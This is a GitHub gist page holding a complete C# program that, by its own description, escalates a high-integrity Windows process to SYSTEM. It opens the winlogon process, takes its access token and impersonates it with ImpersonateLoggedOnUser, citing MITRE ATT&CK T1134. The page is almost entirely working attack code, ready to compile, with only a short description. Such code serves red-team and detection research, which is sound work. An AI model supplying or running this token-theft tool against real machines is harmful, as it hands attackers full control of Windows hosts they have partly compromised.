Skip to content

Instantly share code, notes, and snippets.

@mvelazc0
Last active December 7, 2020 15:42
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save mvelazc0/9a4f05a67a12a86181e89f6026a020f2 to your computer and use it in GitHub Desktop.
Save mvelazc0/9a4f05a67a12a86181e89f6026a020f2 to your computer and use it in GitHub Desktop.
Escalates to SYSTEM leveraging OpenProcess, OpenProcessToken and ImpersonateLoggedOnUser. https://attack.mitre.org/beta/techniques/T1134/. Needs to run as a High Integrity proc. Needs SeDebugPrivilege
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
//Based on https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html
namespace GetSystem
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken);
internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400;
internal const UInt32 TOKEN_DUPLICATE = 0x0002;
internal const UInt32 TOKEN_IMPERSONATE = 0x0004;
internal const UInt32 TOKEN_QUERY = 0x0008;
internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
static void Main(string[] args)
{
Process exp = Process.GetProcessesByName("winlogon")[0];
uint processId = (uint)exp.Id;
IntPtr hNewToken;
IntPtr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, processId);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("Could not get handle with OpenProcess");
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("Got a handle for PID {0} with OpenProcess", processId);
bool ret = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, out hNewToken);
if (!ret)
{
Console.WriteLine("Could not get Token with OpenProcessToken");
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("Got a process Token for PID {0} with OpenProcessToken", processId);
Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name);
Console.WriteLine("Calling ImpersonateLoggedOnUser...");
if (!ImpersonateLoggedOnUser(hNewToken))
{
Console.WriteLine("Could not get impersonate user with ImpersonateLoggedOnUse ");
Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("Got SYSTEM!");
Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment